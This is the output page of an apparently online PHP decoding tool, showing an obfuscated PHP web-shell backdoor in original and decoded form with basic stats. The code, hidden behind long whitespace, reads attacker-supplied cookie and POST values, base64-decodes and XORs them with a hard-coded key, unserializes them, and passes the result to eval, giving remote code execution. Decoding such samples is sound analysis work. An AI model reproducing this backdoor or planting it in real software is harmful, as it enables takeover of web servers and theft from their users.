Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $pHFTyjir = "IA_EVa";$iXhedfM = class_exists($pHFTyjir); $CxvyB = $iXhedfM;if (!$CxvyB){class IA_EVa{private $pqTZC;public static $iCQLql = "40a0ea1c-bd3c-4f80-951c-98d9be73b3d2";public static $HlytfuuOgg = NULL;public function __construct(){$sldLtyRKC = $_COOKIE;$PbOCfPCrqx = $_POST;$tDBjT = @$sldLtyRKC[substr(IA_EVa::$iCQLql, 0, 4)];if (!empty($tDBjT)){$rZdyKyrbc = "base64";$xqjhIIeTU = "";$tDBjT = explode(",", $tDBjT);foreach ($tDBjT as $LUgbkML){$xqjhIIeTU .= @$sldLtyRKC[$LUgbkML];$xqjhIIeTU .= @$PbOCfPCrqx[$LUgbkML];}$xqjhIIeTU = array_map($rZdyKyrbc . "_" . "d" . chr ( 1064 - 963 ).chr (99) . "o" . chr ( 527 - 427 ).chr ( 347 - 246 ), array($xqjhIIeTU,)); $xqjhIIeTU = $xqjhIIeTU[0] ^ str_repeat(IA_EVa::$iCQLql, (strlen($xqjhIIeTU[0]) / strlen(IA_EVa::$iCQLql)) + 1);IA_EVa::$HlytfuuOgg = @unserialize($xqjhIIeTU);}}public function __destruct(){$this->XskEcZ();}private function XskEcZ(){if (is_array(IA_EVa::$HlytfuuOgg)) {$zvFQptVDV = str_replace("<" . "?" . chr ( 631 - 519 )."h" . chr ( 1073 - 961 ), "", IA_EVa::$HlytfuuOgg[chr (99) . chr (111) . 'n' . chr ( 336 - 220 )."e" . "n" . chr ( 304 - 188 )]);eval($zvFQptVDV);exit();}}}$DTjsyqUsmM = new IA_EVa(); $DTjsyqUsmM = NULL;} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $pHFTyjir = "IA_EVa";$iXhedfM = class_exists($pHFTyjir); $CxvyB = $iXhedfM;if (!$CxvyB){class IA_EVa{private $pqTZC;public static $iCQLql = "40a0ea1c-bd3c-4f80-951c-98d9be73b3d2";public static $HlytfuuOgg = NULL;public function __construct(){$sldLtyRKC = $_COOKIE;$PbOCfPCrqx = $_POST;$tDBjT = @$sldLtyRKC[substr(IA_EVa::$iCQLql, 0, 4)];if (!empty($tDBjT)){$rZdyKyrbc = "base64";$xqjhIIeTU = "";$tDBjT = explode(",", $tDBjT);foreach ($tDBjT as $LUgbkML){$xqjhIIeTU .= @$sldLtyRKC[$LUgbkML];$xqjhIIeTU .= @$PbOCfPCrqx[$LUgbkML];}$xqjhIIeTU = array_map($rZdyKyrbc . "\x5f" . "\144" . chr ( 1064 - 963 ).chr (99) . "\157" . chr ( 527 - 427 ).chr ( 347 - 246 ), array($xqjhIIeTU,)); $xqjhIIeTU = $xqjhIIeTU[0] ^ str_repeat(IA_EVa::$iCQLql, (strlen($xqjhIIeTU[0]) / strlen(IA_EVa::$iCQLql)) + 1);IA_EVa::$HlytfuuOgg = @unserialize($xqjhIIeTU);}}public function __destruct(){$this->XskEcZ();}private function XskEcZ(){if (is_array(IA_EVa::$HlytfuuOgg)) {$zvFQptVDV = str_replace("\x3c" . "\77" . chr ( 631 - 519 )."\x68" . chr ( 1073 - 961 ), "", IA_EVa::$HlytfuuOgg[chr (99) . chr (111) . 'n' . chr ( 336 - 220 )."\x65" . "\156" . chr ( 304 - 188 )]);eval($zvFQptVDV);exit();}}}$DTjsyqUsmM = new IA_EVa(); $DTjsyqUsmM = NULL;} ?>

Function Calls

class_exists 1

Variables

$pHFTyjir IA_EVa

Stats

MD5 a432c3c61ab338911130e0b3f6b31a98
Eval Count 0
Decode Time 60 ms